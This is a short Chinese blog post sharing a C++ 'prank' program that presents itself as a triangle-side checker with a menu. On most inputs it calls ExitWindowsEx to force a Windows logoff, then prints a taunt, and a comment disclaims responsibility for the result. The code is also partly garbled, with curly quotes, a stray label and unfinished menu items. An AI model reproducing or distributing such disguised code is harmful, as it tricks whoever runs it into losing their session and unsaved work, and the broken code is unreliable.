跳到正文

个人记录

得吃小程序

zzd_start_gay约 1 分钟
原文
文章信息与版本

文章信息

发布
2025年12月12日
收录
2025年12月12日
更新
2026年5月21日
篇幅
约 1 分钟
获赞
1

版本

  1. v1当前

#include<bits/stdc++.h>//出了事由执行者自行承担

#include <windows.h>

#include <iostream>

using namespace std;

int main() {

cout<<“1.判断能否构成三角形(三个边长)”; cout<<“2.判断能否”;

cout<<“3.判断能否”;

int n;

cin>>n;

if(n==1)

{

int a,b,c; cin>>a>>b>>c;

if(a+b>c and a+c>b and b+c>a)

cout<<“Yes”;

else

{

if(!ExitWindowsEx(EWX_LOGOFF, 0)) { std::cerr << “dechi中 ” << GetLastError() << std::endl; return 1;

C++
}

std::cout << "deichi..." << std::endl;

	return 0;

}

}

else

{
if(!ExitWindowsEx(EWX_LOGOFF, 0))
{
	std::cerr << "不得吃 " << GetLastError() << std::endl;

	return 1;

	}
	std::cout << "得吃" << std::endl;

	return 0;
}
return 0;

}

原文